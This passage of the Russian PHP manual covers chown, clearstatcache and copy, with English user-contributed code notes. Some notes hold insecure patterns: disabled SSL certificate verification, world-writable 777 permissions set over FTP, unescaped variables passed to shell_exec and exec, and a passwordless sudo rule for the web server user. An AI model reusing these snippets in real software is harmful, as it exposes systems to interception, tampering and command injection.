                        (($mode!==$mode-$take) ? ",new=" . decoct($mode-$take) : '') .
                        ($ch ? '' : ',FAILED') . "<br>\n";
                   } // end if hasmod
                   // END ADD PATH
                      $stack[] = $current_file;
                  } // if if_dir
              } //if ($file !== '.' AND $file !== '..')
          } //while (($file = readdir($dh)) !== false)
      } //if ($dh = opendir($current_dir))
} // while ($stack)

    echo "<br>COMPLETE @ " . date("F j, Y, h:i:s A") . "<br>\n";
return;
   //return $path_list;
} // end function

//-------------------------------------------------------
    //listall Show all folders, even one's we're not going to process?
    //testrun Do a test run without making any changes
    pathlock($_SERVER["DOCUMENT_ROOT"],false,true); // listall?=false, testrun?=true

?>
webmaster at danopia dot 5gigs dot com 02-Jan-2007 06:20
Thanks for your code, "imoldgreg at o2 dot co dot uk". I am using it for an instalation script that has to CHMOD a bunch of files. I have found it faster to use the same connectino for each, as shown below.

<?php

// Thanks to "imoldgreg at o2 dot co dot uk" for the base 'CHMOD via FTP' script.

function chmod_open()
{
    // Use your own FTP info
    $ftp_user_name = 'chmod@XXXXXXXXX.com';
    $ftp_user_pass = 'XXXXXXXXXX';
    $ftp_root = '/';
    $ftp_server = 'localhost';
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    return $conn_id;
}

function chmod_file($conn_id, $permissions, $path)
{
    if (ftp_site($conn_id, 'CHMOD ' . $permissions . ' ' . $ftp_root . $path) !== false)
    {
        return TRUE;
    }
    else
    {
        return FALSE;
    }
}

function chmod_close($conn_id)
{
    ftp_close($conn_id);
}

// CHMOD the required setup files

// Connect to the FTP
$conn_id = chmod_open();

// CHMOD each file and echo the results
echo chmod_file($conn_id, 777, 'master/cache/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/files/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/store/') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 766, 'master/config.php') ? 'CHMODed successfully!' : 'Error';
echo chmod_file($conn_id, 777, 'master/images/avatars/upload/') ? 'CHMODed successfully!' : 'Error';

// Close the connection
chmod_close($conn_id);

?>

Here, the same FTP connection is used for each CHMOD command, making the execute time lower. This is essential for me, since my script is also copying a bunch of files.
imoldgreg at o2 dot co dot uk 30-Nov-2006 05:32
an update to 'neil at 11 out of 10's code for changing mode using FTP.

changes: proper array added within the function (better for those of us who only need to connect to one ftp server) so only the mode and directory name need to be passed.

the octal added, for completeness and predictable stability.

<?php
function changemode($xcite)
{
$ftp_details = array(
ftp_user_name => 'username',
ftp_user_pass => 'password',
ftp_user_root => '/public_html/',
ftp_server => 'ftp.something.org'
);

$path = "public";
$mod = intval($xcite, 8);

   // extract ftp details (array keys as variable names)
   extract ($ftp_details);

   // set up basic connection
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   // try to chmod $path directory
   if (ftp_site($conn_id, 'CHMOD '.$mod.' '.$ftp_root.$path) !== false) {
       $success=TRUE;
   }
   else {
       $success=FALSE;
   }

   // close the connection
   ftp_close($conn_id);
    return $success;
}

?>

for those of you, like me, who were looking for a way to make an 'un-hackable' uploader, here's the closest i got, now for a field test, good luck!
masha at mail dot ru 10-Jul-2005 09:23
Usefull reference:

Value    Permission Level
400    Owner Read
200    Owner Write
100    Owner Execute
40    Group Read
20    Group Write
10    Group Execute
4    Global Read
2    Global Write
1    Global Execute

(taken from http://www.onlamp.com/pub/a/php/2003/02/06/php_foundations.html)
alex at feidesign dot com 01-Apr-2005 04:20
If you cannot chmod files/directories with PHP because of safe_mode restrictions, but you can use FTP to chmod them, simply use PHP's FTP-functions (eg. ftp_chmod or ftp_site) instead. Not as efficient, but works.
pmichaud at pobox dot com 19-Apr-2003 03:45
In the previous post, stickybit avenger writes:
    Just a little hint. I was once adwised to set the 'sticky bit', i.e. use 1777 as chmod-value...

Note that in order to set the sticky bit on a file one must use '01777' (oct) and not '1777' (dec) as the parameter to chmod:

<?php
    chmod("file",01777);   // correct
     chmod("file",1777);    // incorrect, same as chmod("file",01023), causing no owner permissions!
?>

Rule of thumb: always prefix octal mode values with a zero.


Изменяет владельца файла

  • « chmod
  • clearstatcache »
  • PHP Manual
  • Функции файловой системы
  • Изменяет владельца файла

chown

(PHP 4, PHP 5, PHP 7, PHP 8)

chown — Изменяет владельца файла

Описание

chown(string $filename, string|int $user): bool

Осуществляет попытку изменения владельца файла с именем filename на владельца, чьё имя передано в параметре user (в виде числа или строки). Только суперпользователь может изменять владельца файла.

Список параметров

filename

Путь к файлу.

user

Имя пользователя или число.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример простого использования chown()

<?php

// Используемое имя файла и имя пользователя
$file_name= "foo.php";
$path = "/home/sites/php.net/public_html/sandbox/" . $file_name ;
$user_name = "root";

// Устанавливаем пользователя
chown($path, $user_name);

// Проверяем результат
$stat = stat($path);
print_r(posix_getpwuid($stat['uid']));

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [name] => root
    [passwd] => x
    [uid] => 0
    [gid] => 0
    [gecos] => root
    [dir] => /root
    [shell] => /bin/bash
)

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Замечание: В Windows функция молча завершается ошибкой при применении к обычному файлу.

Смотрите также

  • chmod() - Изменяет режим доступа к файлу
  • chgrp() - Изменяет группу файла

User Contributed Notes

rickard at 0x539 dot se 18-Jun-2009 02:04
For most modern Linux systems your apache user should not be run as root, and in order to change the ownership of a file or directory, you need to be root. To get around this problem you can use sudo, but be careful with what permissions you give. Here is an example which is working for me:

www-data        ALL = NOPASSWD: /bin/chown 1[1-9][0-9][0-9]\:1[1-9][0-9][0-9] /home/www/[a-zA-Z0-9]*

This allows the apache server to change ownership of files in /home/www with name containing a-z, A-Z or numbers (note: no subdirectories). The only valid input of userid is a four digit numeric id, between 1100 and 1999.

Hope this helps.
Mikevac at yahoo dot com 01-Feb-2008 11:42
I've only tested this on Solaris 10 so your mileage may vary.

To allow the apache daemon to change file ownership without being root, add the following line to /etc/system:

set rstchown=0

Reboot the server.

There are security concerns doing this as this modification allows any user to change ownership of their files to anyone else.
Tayfun Bilsel 11-Jan-2006 08:13
Simple usage of the chown:

<?php

$file_name= "test";
$path = "/var/www/html/test/" . $file_name ;

$user_name = "root";

chown($path, $user_name);

?>
greg _at_ rhythmicdesign d.o.t com 23-Feb-2004 04:00
<?php
function recurse_chown_chgrp($mypath, $uid, $gid)
{
    $d = opendir ($mypath) ;
    while(($file = readdir($d)) !== false) {
        if ($file != "." && $file != "..") {

            $typepath = $mypath . "/" . $file ;

            //print $typepath. " : " . filetype ($typepath). "<BR>" ;
            if (filetype ($typepath) == 'dir') {
                recurse_chown_chgrp ($typepath, $uid, $gid);
            }

            chown($typepath, $uid);
            chgrp($typepath, $gid);

        }
    }

 }

recurse_chown_chgrp ("uploads", "unsider", "unsider") ;
?>

for older versions.. unfortunately, it seems I do not have permission to perform these functions.
Klaus Zierer 27-Jun-2003 08:37
If you want to chown a symlink, PHP will follow the symlink and change the target file.

If you want to chown the symlink, you have to use shell_exec("/bin/chown user.group symlink");
martijn at sigterm dot nl 20-Jun-2003 07:28
If chown is filled with a variable (  chown ("myfile", $uid) the uid will be looked up through pwget_uid.

So if you need to set a non existing uid use inval($uid).
njs+php at scifi dot squawk dot com 21-Sep-2000 11:28
If you allow sudo execution for chmod by "nobody" (www, webdaemon, httpd, whatever user php is running under)in this manner, it had better be a system on which the owner is able to be root and no one else can run code, else your whole system is compromised.  Someone could change the mode of /etc/passwd or the shadow password file.

Other system commands (sudo mount) and so forth are similar.


Очищает кеш состояния файлов

  • « chown
  • copy »
  • PHP Manual
  • Функции файловой системы
  • Очищает кеш состояния файлов

clearstatcache

(PHP 4, PHP 5, PHP 7, PHP 8)

clearstatcache — Очищает кеш состояния файлов

Описание

clearstatcache(bool $clear_realpath_cache = false, string $filename = ""): void

Для обеспечения большей производительности при использовании функций stat(), lstat() или любой другой функции, перечисленных в приведённом ниже списке, PHP кеширует результаты их выполнения. Однако, в некоторых случаях вам может потребоваться очистка этого кеша. Например, когда ваш скрипт несколько раз проверяет состояние одного и того же файла, который может быть изменён или удалён во время выполнения скрипта, вы можете захотеть очистить кеш состояния. В этом случае необходимо использовать функцию clearstatcache() для очистки в PHP кешированной информации об указанном файле.

Обратите внимание, что PHP не кеширует информацию о несуществующих файлах. Так что, если вы вызовете file_exists() на несуществующем файле, она будет возвращать false до тех пор, пока вы не создадите этот файл. Если же вы создадите файл, она будет возвращать true, даже если затем вы его удалите. Однако, функция unlink() очистит данный кеш автоматически.

Замечание:

Данная функция кеширует информацию об определённых файлах, поэтому имеет смысл вызывать clearstatcache() только в том случае, если вы совершаете несколько операций с одним и тем же файлом и не хотите получать кешированную информацию об этом файле.

Список функций, результаты выполнения которых кешируются:
stat(),
lstat(),
file_exists(),
is_writable(),
is_readable(),
is_executable(),
is_file(),
is_dir(),
is_link(),
filectime(),
fileatime(),
filemtime(),
fileinode(),
filegroup(),
fileowner(),
filesize(),
filetype() и
fileperms().

Список параметров

clear_realpath_cache

Нужно ли также очищать кеш realpath.

filename

Очистить кеш realpath только для определённого имени файла; используется только в том случае, если у параметра clear_realpath_cache установлено значение true.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования clearstatcache()

<?php
$file = 'output_log.txt';

function get_owner($file)
{
$stat = stat($file);
$user = posix_getpwuid($stat['uid']);
return $user['name'];
}

$format = "UID @ %s: %s\n";

printf($format, date('r'), get_owner($file));

chown($file, 'ross');
printf($format, date('r'), get_owner($file));

clearstatcache();
printf($format, date('r'), get_owner($file));
?>

Результатом выполнения данного примера будет что-то подобное:

UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: root
UID @ Sun, 12 Oct 2008 20:48:28 +0100: ross

User Contributed Notes

vechenjivot at gmail dot com 03-Jul-2020 06:09
Not documented, but seems like clearstatcache() is clearing the cache only for the process it is being called from. I have 2 PHP scripts running simultaneously, and the first one does call clearstatcache(), but still the second one deadlocks, unless I call clearstatcache() in it too:

script1:
<?php
    touch('system.lock');
    ...
    unlink('system.lock');
    clearstatcache(); // should be done by unlink?
?>

script2:
<?php
    while (is_file('system.lock') {
        sleep(1);
        clearstatcache(); // without this, script 2 will deadlock forever!
    }
?>

I also found this page, which leads to the same conclusion:
https://stackoverflow.com/questions/9251237/clearstatcache-include-path-sessions
msaladna at apisnetworks dot com 10-Dec-2019 11:10
clearstatcache() does not canonicalize the path. clearstatcache(true, "/a/b/c") is different from clearstatcache(true, "/a/b//c").
Gabriel 18-Dec-2018 04:03
Definition of $filename parameter let's you think that it expects the filename only but it works if you give the path + filename also.

It should be more clear about this.
David Spector 07-Dec-2018 01:48
Note that this function affects only file metadata. However, all the PHP file system functions do their own caching of actual file contents as well. You can use the "realpath_cache_size = 0" directive in PHP.ini to disable the content caching if you like. The default content caching timeout is 120 seconds.

Content caching is not a good idea during development work and for certain kinds of applications, since your code may read in old data from a file whose contents you have just changed.

Note: This is separate from the caching typically done by browsers for all GET requests (the majority of Web accesses) unless the HTTP headers override it. It is also separate from optional Apache server caching.
bj at wjblack dot com 22-Jan-2015 02:36
Just to make this more obvious (and so search engines find this easier):

If you do fileops of any kind outside of PHP (say via a system() call), you probably want to clear the stat cache before doing any further tests on the file/dir/whatever.  For example:

<?php
// is_dir() forces a stat call, so the cache is populated
if( is_dir($foo) ) {
    system("rm -rf " . escapeshellarg($foo));
    if( is_dir($foo) ) {
        // ...will still be true, even if the rm succeeded, because it's just
        // reading from cache, not re-running the stat()
    }
}
?>

Pop a clearstatcache() after the system call and all is good (modulo a bit of a performance hit from having a cleared stat cache :-( ).
matt_m at me dot com 23-Sep-2011 03:04
unlink() does not clear the cache if you are performing file_exists() on a remote file like:

<?php
if (file_exists("ftp://ftp.example.com/somefile"))
?>

In this case, even after you unlink() successfully, you must call clearstatcache().

<?php
unlink("ftp://ftp.example.com/somefile");
clearstatcache();
?>

file_exists() then properly returns false.
markandrewslade at gmail dot com 08-Mar-2010 11:54
On Linux, a forked process inherits a copy of the parent's cache, but after forking the two caches do not impact each other.  The snippet below demonstrates this by creating a child and confirming outdated (cached) information, then clearing the cache, and getting new information.

<?php

function report($directory, $prefix = '') { printf('%sDoes %s exist?  PHP says "%s"'. PHP_EOL, $prefix, $directory, is_dir($directory) ? 'yes' : 'no'); }
$target = './delete-me-before-running-statcache';

if (is_dir($target)) {
    die("Delete $target before running.\n");
}

echo "Creating $target.\n";
mkdir($target) || die("Unable to create $target.\n");
report($target); // is_dir($target) is now cached as true

echo "Unlinking $target.\n";
rmdir($target) || die("Unable to unlink $target.\n");

// This will say "yes", which is old (inaccurate) information.
report($target);

if (($pid = pcntl_fork()) === -1) { die("Failed to pcntl_fork.\n"); }
elseif ($pid === 0) {
    // child
    report($target, '<<child>> ');
    echo "<<child>> Clearing stat cache.\n";
    clearstatcache();
    report($target, '<<child>> ');
} else {
    // parent
    sleep(2); // move this to the child block to reverse the test.
    report($target, '<<<parent>> ');
    clearstatcache();
    report($target, '<<<parent>> ');
}

?>


Копирует файл

  • « clearstatcache
  • delete »
  • PHP Manual
  • Функции файловой системы
  • Копирует файл

copy

(PHP 4, PHP 5, PHP 7, PHP 8)

copy — Копирует файл

Описание

copy(string $from, string $to, ?resource $context = null): bool

Копирует файл from в файл с именем to.

Если вы хотите переименовать файл, используйте функцию rename().

Список параметров

from

Путь к исходному файлу.

to

Путь к целевому файлу. Если to является URL, то операция копирования может завершиться ошибкой, если обёртка URL не поддерживает перезаписывание существующих файлов.

Внимание

Если целевой файл уже существует, то он будет перезаписан.

context

Корректный ресурс контекста, созданный функцией stream_context_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции copy()

<?php
$file = 'example.txt';
$newfile = 'example.txt.bak';

if (!copy($file, $newfile)) {
echo "не удалось скопировать $file...\n";
}
?>

Смотрите также

  • move_uploaded_file() - Перемещает загруженный файл в новое место
  • rename() - Переименовывает файл или директорию
  • Раздел руководства "Загрузка файлов"

User Contributed Notes

Anonymous 21-Apr-2023 02:36
If you get ssl errors for apps running on an unproperly configured server and have no way to fix the server configuration, this would be a  temproraly workaround.
//Disable ssl verification in order to avoid ssl error
            $contextOptions = array(
                "ssl" => array(
                "verify_peer" => false,
                "verify_peer_name" => false,
                ),);
            copy($filename, $attachFileName,stream_context_create($contextOptions));
someone at terrasim dot com 30-Sep-2021 06:44
On Windows, php-7.4.19-Win32-vc15-x64 - copy() corrupted a 6GB zip file. Our only recourse was to write:

function file_win_copy( $src, $dst ) {
 shell_exec( 'COPY "'.$src.'" "'.$dst.'"');
 return file_exists($dest);
}
mishawagon at gmail dot com 05-Mar-2019 06:26
Copy failed for me until I added dirname(__FILE__) to the file paths.
copy(dirname(__FILE__).$tempdata,dirname(__FILE__).$filepath)
2mobile at gmail dot com 04-Feb-2017 09:51
If you have problems with "failed to open stream: Permission denied"

Check if the user that PHP runs under have "X" permission on every directory of the file path.
It will need it to access the file

If your file is: /path/to/test-in.txt
You should have X permission on:

/path
/path/to
and read permission on /path/to/test-in.txt
Vinicio Coletti 26-Dec-2015 11:03
Copying large files under Windows 8.1, from one NTFS filesystem to another NTFS filesystem, results in only the first 4 GiB copied and the rest of the file is ignored.

So, if you think to have files larger than 4 GiB, instead of doing:
   copy($source,$destination);
it is much better to do something like:
   exec("xcopy $source $destination");

I will check to see if this issue is valid also under Linux.
It depends on PHP not being compiled in 64 bit mode?
hugo_2000 at gmx dot at 26-Jun-2015 02:43
If you try to copy a file to itself - e.g. if the target directory is just a symlink to the source directory - copy will return false. just like on the command line.
Bas Vijfwinkel 20-May-2015 07:09
Paths and filenames with Japanese characters are not handled correctly if you are running Apache/PHP on a Windows machine.
With the following code you can convert e.g. the network path to the appropriate encoding so that Windows understands where to look:

<?PHP

function convertPath($path)
{
    //split networkpath into parts
    $parts = explode('\\',$path);
    // convert each part to SJIS
    foreach($parts as $index => $part)
    {
         $parts[$index] = iconv('UTF-8','SJIS//IGNORE',$part);
    }
    // put the network path back together
    return implode('\\',$parts);
}

$oldname = convertPath('c:/Temp/????.pdf');
$newname  = convertPath('\\\\PFSV0100\\DATA\\06:???\\333328_????\\test_?????.pdf');

copy($oldname, $newname);
?>

There are however a number of characters that cannot be converted correctly like '?' and '?' because there are no SJIS equivalents.
ASchmidt at Anamera dot net 28-May-2014 01:49
Below a code snippet for downloading a file from a web server to a local file.

It demonstrates useful customizations of the request (such as setting a User-Agent and Referrer, often required by web sites), and how to download only files if the copy on the web site is newer than the local copy.

It further demonstrates the processing of response headers (if set by server) to determine the timestamp and file name. The file type is checked because some servers return a 200 OK return code with a textual "not found" page, instead of a proper 404 return code.

<?php
// $fURI:         URL to a file located on a web server
// $target_file:    Path to a local file

if ( file_exists( $target_file ) ) {
    $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
}
else {
    $ifmodhdr = '';
}

// set request header for GET with referrer for modified files, that follows redirects
$arrRequestHeaders = array(
    'http'=>array(
        'method'        =>'GET',
        'protocol_version'    =>1.1,
        'follow_location'    =>1,
        'header'=>    "User-Agent: Anamera-Feed/1.0\r\n" .
                     "Referer: $source\r\n" .
            $ifmodhdr
            )
        );
$rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) );

// HTTP request completed, preserve system error, if any
if( $rc ) {
    if ( fclose( $rc ) ) {
        unset( $err );
    }
    else {
        $err = error_get_last();
    }
}
else {
    $err = error_get_last();
}

// Parse HTTP Response Headers for  HTTP Status, as well filename, type, date information
// Need to start from rear, to get last set of headers after possible sets of redirection headers
if ( $http_response_header ) {
    for ( $i = sizeof($http_response_header) - 1; $i >= 0; $i-- ) {
        if ( preg_match('@^http/\S+ (\S{3,}) (.+)$@i', $http_response_header[$i], $http_status) > 0 ) {
            // HTTP Status header means we have reached beginning of response headers for last request
            break;
        }
        elseif ( preg_match('@^(\S+):\s*(.+)\s*$@', $http_response_header[$i], $arrHeader) > 0 ) {
            switch ( $arrHeader[1] ) {
                case 'Last-Modified':
                    if ( !isset($http_content_modtime) ) {
                        $http_content_modtime = strtotime( $arrHeader[2] );
                    }
                    break;
                case 'Content-Type':
                    if ( !isset($http_content_image_type) ) {
                        if ( preg_match('@^image/(\w+)@ims', $arrHeader[2], $arrTokens) > 0 ) {
                            if ( in_array(strtolower($arrTokens[1]), $arrValidTypes)) {
                                $http_content_image_type = $arrTokens[1];
                                break;
                            }
                        }
                        throw new Exception( "Error accessing file $fURI; invalid content type: $arrHeader[2]", 2);
                    }
                    break;
                case 'Content-Disposition':
                    if ( !isset($http_content_filename) && preg_match('@filename\\s*=\\s*(?|"([^"]+)"|([\\S]+));?@ims', $arrHeader[2], $arrTokens) > 0 ) {
                        $http_content_filename = basename($arrTokens[1]);
                    }
                    break;
            }
        }
    }
}

if ( $http_status ) {
    // Make sure we have good HTTP Status
    switch ( $http_status[1] ) {
        case '200':
            // SUCCESS: HTTP Status is "200 OK"
            break;
        case '304':
            throw new Exception( "Remote file not newer: $fURI", $http_status[1] );
            break;
        case '404':
            throw new Exception( "Remote file not found: $fURI", $http_status[1] );
            break;
        default:
            throw new Exception( "HTTP Error, $http_status[2], accessing $fURI", $http_status[1] );
            break;
    }
}
elseif ( $err ) {
    // Protocol / Communication error
    throw new Exception( $err['message']/*."; Remote file: $fURI"*/, $err['type'] );
}
else {
    // No HTTP status and no error
    throw new customException( "Unknown HTTP response accessing $fURI: $http_response_header[0]", -1 );
}
?>

Notes:
1. Currently copy() does NOT appropriately handle the 304 response code. Instead of NOT performing a copy (possibly setting the RC), it will overwrite the target file with an zero length file.
2. There may be a problem accessing a list of remote files when HTTP 1.1 protocol is used. If you experience time-out errors, try the default 1.0 protocol version.
absorbentshoulderman at gmail dot com 03-Apr-2013 12:51
A nice simple trick if you need to make sure the folder exists first:

<?php

$srcfile='C:\File\Whatever\Path\Joe.txt';
$dstfile='G:\Shared\Reports\Joe.txt';
mkdir(dirname($dstfile), 0777, true);
copy($srcfile, $dstfile);

?>

That simple.
promaty at gmail dot com 17-May-2011 11:13
Here is a simple script that I use for removing and copying non-empty directories. Very useful when you are not sure what is the type of a file.

I am using these for managing folders and zip archives for my website plugins.

<?php

// removes files and non-empty directories
function rrmdir($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rrmdir("$dir/$file");
    rmdir($dir);
  }
  else if (file_exists($dir)) unlink($dir);
}

// copies files and non-empty directories
function rcopy($src, $dst) {
  if (file_exists($dst)) rrmdir($dst);
  if (is_dir($src)) {
    mkdir($dst);
    $files = scandir($src);
    foreach ($files as $file)
    if ($file != "." && $file != "..") rcopy("$src/$file", "$dst/$file");
  }
  else if (file_exists($src)) copy($src, $dst);
}
?>

Cheers!
cory at veck dot ca 29-Apr-2011 11:17
My own 'cp -R' written in PHP.

Hopefully it will work for your situation. I'm using it in a web based file manager for my CMS.

<?php

    define('DS', DIRECTORY_SEPARATOR); // I always use this short form in my code.

    function copy_r( $path, $dest )
    {
        if( is_dir($path) )
        {
            @mkdir( $dest );
            $objects = scandir($path);
            if( sizeof($objects) > 0 )
            {
                foreach( $objects as $file )
                {
                    if( $file == "." || $file == ".." )
                        continue;
                    // go on
                    if( is_dir( $path.DS.$file ) )
                    {
                        copy_r( $path.DS.$file, $dest.DS.$file );
                    }
                    else
                    {
                        copy( $path.DS.$file, $dest.DS.$file );
                    }
                }
            }
            return true;
        }
        elseif( is_file($path) )
        {
            return copy($path, $dest);
        }
        else
        {
            return false;
        }
    }

?>
eng-ayman at aymax dot net 30-Aug-2009 05:48
some hosts disable copy() function and say its for security

and for some copy is important so this is and simple function that do same as copy function effect

how smart php can help us l like php

<?php
    function copyemz($file1,$file2){
          $contentx =@file_get_contents($file1);
                   $openedfile = fopen($file2, "w");
                   fwrite($openedfile, $contentx);
                   fclose($openedfile);
                    if ($contentx === FALSE) {
                    $status=false;
                    }else $status=true;

                    return $status;
    }
?>
Sina Salek 02-Jun-2009 05:02
Thanks for all the comments, i wrote this function for fully supporting file and directory copy.
As you may have noticed there are feature that didn't have time to implement , but if you have time to implement them or even add more cool features, please notify me as well :). you can find me here http://sina.salek.ws/en/contact

PS : It was very useful for me, hope you find it useful as well.

<?php
    /**
     * Copy file or folder from source to destination, it can do
     * recursive copy as well and is very smart
     * It recursively creates the dest file or directory path if there weren't exists
     * Situtaions :
     * - Src:/home/test/file.txt ,Dst:/home/test/b ,Result:/home/test/b -> If source was file copy file.txt name with b as name to destination
     * - Src:/home/test/file.txt ,Dst:/home/test/b/ ,Result:/home/test/b/file.txt -> If source was file Creates b directory if does not exsits and copy file.txt into it
     * - Src:/home/test ,Dst:/home/ ,Result:/home/test/** -> If source was directory copy test directory and all of its content into dest
     * - Src:/home/test/ ,Dst:/home/ ,Result:/home/**-> if source was direcotry copy its content to dest
     * - Src:/home/test ,Dst:/home/test2 ,Result:/home/test2/** -> if source was directoy copy it and its content to dest with test2 as name
     * - Src:/home/test/ ,Dst:/home/test2 ,Result:->/home/test2/** if source was directoy copy it and its content to dest with test2 as name
     * @todo
     *     - Should have rollback technique so it can undo the copy when it wasn't successful
     *  - Auto destination technique should be possible to turn off
     *  - Supporting callback function
     *  - May prevent some issues on shared enviroments : http://us3.php.net/umask
     * @param $source //file or folder
     * @param $dest ///file or folder
     * @param $options //folderPermission,filePermission
     * @return boolean
     */
    function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
    {
        $result=false;

        if (is_file($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if (!file_exists($dest)) {
                    cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
                }
                $__dest=$dest."/".basename($source);
            } else {
                $__dest=$dest;
            }
            $result=copy($source, $__dest);
            chmod($__dest,$options['filePermission']);

        } elseif(is_dir($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if ($source[strlen($source)-1]=='/') {
                    //Copy only contents
                } else {
                    //Change parent itself and its contents
                    $dest=$dest.basename($source);
                    @mkdir($dest);
                    chmod($dest,$options['filePermission']);
                }
            } else {
                if ($source[strlen($source)-1]=='/') {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                } else {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                }
            }

            $dirHandle=opendir($source);
            while($file=readdir($dirHandle))
            {
                if($file!="." && $file!="..")
                {
                     if(!is_dir($source."/".$file)) {
                        $__dest=$dest."/".$file;
                    } else {
                        $__dest=$dest."/".$file;
                    }
                    //echo "$source/$file ||| $__dest<br />";
                    $result=smartCopy($source."/".$file, $__dest, $options);
                }
            }
            closedir($dirHandle);

        } else {
            $result=false;
        }
        return $result;
    }
?>
gimmicklessgpt at gmail dot com 20-May-2009 04:04
Here's a simple recursive function to copy entire directories

Note to do your own check to make sure the directory exists that you first call it on.

<?php
function recurse_copy($src,$dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            if ( is_dir($src . '/' . $file) ) {
                recurse_copy($src . '/' . $file,$dst . '/' . $file);
            }
            else {
                copy($src . '/' . $file,$dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}
?>
nensa at zeec dot biz 27-Jan-2009 11:44
When I recently had to copy a few millions of small files (< 1kb) from one NAS to another and for some reasons had to do that file by file I compared the following function with copy($src, $dest) and shell_exec("cp -r $src $dest").

Surprisingly stream_copy seamed to be slightly faster (at least in this specific context).

<?php
    function stream_copy($src, $dest)
    {
        $fsrc = fopen($src,'r');
        $fdest = fopen($dest,'w+');
        $len = stream_copy_to_stream($fsrc,$fdest);
        fclose($fsrc);
        fclose($fdest);
        return $len;
    }
?>
allasso residing at signalmesa dot com 28-Nov-2008 03:15
As far as recursive copy, something like this seems to work fine for me:

<?php
$output = shell_exec( " cp -r -a dir_source/* dir_dest 2>&1 " )
echo $output
?>

Of course you need to get all your permissions clear.  You can do the necessary stuff to use variables.

You could also do this to create the destination directory:

<?php
shell_exec( " cp -r -a dir_source dir_dest 2>&1 " )
?>

This will create a new directory called "dir_dest" if it does not already exist. This is a bit risky though if your situation is ambiguous, and you want to continue to make backups etc, 'cause if you do it twice you end up with:

dir_destination/dir_source

to avoid that one could do something like:

<?php
shell_exec( " mkdir dir_dest;  cp -r -a dir_source/* dir_dest 2>&1 " )
?>

Maybe someone can tell me when or why it would be better to use all that PHP code I see here.
jim dot mcgowen at cox dot net 14-Jul-2008 10:50
On Windows (not sure about Linux) copy will overwrite an existing file but will not change the case of the existing filename.

In other words if I have a file named "Myfile.txt" and I overwrite it using copy with a file named "MyFile.txt" it will overwrite it but the filename will remain "Myfile.txt".

If this is a problem (as it was for me) use unlink to delete the existing file first.
steve a h 20-Jun-2008 02:44
Don't forget; you can use copy on remote files, rather than doing messy fopen stuff.  e.g.

<?php
if(!@copy('http://someserver.com/somefile.zip','./somefile.zip'))
{
    $errors= error_get_last();
    echo "COPY ERROR: ".$errors['type'];
    echo "<br />\n".$errors['message'];
} else {
    echo "File copied from remote!";
}
?>
tom at r dot je 18-Jun-2008 08:30
It's worth noting that copy() sets the destination file's last modified time/date.
jtaylor -at- ashevillenc -dot- com 13-Feb-2007 12:48
It seems as though you can only use move_uploaded_file() once on a temporary file that has been uploaded through a form. Most likely the action this function takes destroys the temporary file after it has been moved, assuming permanent placement on a file system.

Attempting to use the function again in the same PHP script will return false and not move the file.

I ran into this when an image that was uploaded did not need resizing (smaller than a size threshold) and after moving the temporary upload to the "originals" directory, an attempt was made to again move the temporary file to another folder.

This behavior is understandable, but be careful - in this instance, I simply used copy() on the file that was already uploaded.
mspreij 27-Jan-2007 08:20
This function creates a new filename to use for a copy of the given filename, its behaviour was mostly sto^Wborrowed from how the OS X Finder (*1) does it.
Note it *doesn't* actually copy the file, it just returns the new name. I needed it to work regardless of data source (filesystem, ftp, etc).

It also tries to match the current name as neatly as possible:
foo.txt -> foo copy.txt -> foo copy 1.txt -> foo copy 2.txt [etc]
foo.bar.baz.jpg -> foo.bar.baz copy.jpg
foobar -> foobar copy -> foobar copy 1 [etc]
".txt" -> .txt copy, and "txt." -> txt. copy
file.longextension -> file.longextension copy

It keeps trying until it finds a name that is not yet taken in $list, or until it looped 500 times (change as needed).

If the renamed file becomes longer than max filename length, it starts chopping away at the end of the part before where it adds " copy": reallylong...filename.txt -> reallylong...filena copy.txt

<?php

// $orig = current name, of course
// $list = array of filenames in the target directory (if none given, it will still return a new name)
// $max = max length of filename
function duplicate_name($orig, $list = array(), $max = 64) {
  $ext = '';
  $counter = 0;
  $list = (array) $list;
  $max = (int) $max;
  $newname = $orig;
  do {
    $name = $newname; # name in, newname out
    if (preg_match('/ copy$| copy \d+$/', $name, $matches)) {
      // don't even check for extension, name ends with " copy[ digits]"
    // preg hereunder matches anything with at least one period in the middle and an extension of 1-5 characters
    }elseif (preg_match('/(.+)\.([^.]{1,5})$/', $name, $parts)) {
      // split to name & extension
      list($name, $ext) = array($parts[1], $parts[2]);
    }
    if (preg_match('/ copy (\d+)$/', $name, $digits)) {
      $newname = substr($name, 0, - strlen($digits[1])) . ($digits[1] + 1);
      # $cutlen is only used for the bit at the end where it checks on max filename length
      $cutlen = 6 + strlen($digits[1]+1); // ' copy ' + digits
    }elseif(preg_match('/ copy$/', $name, $digits)) {
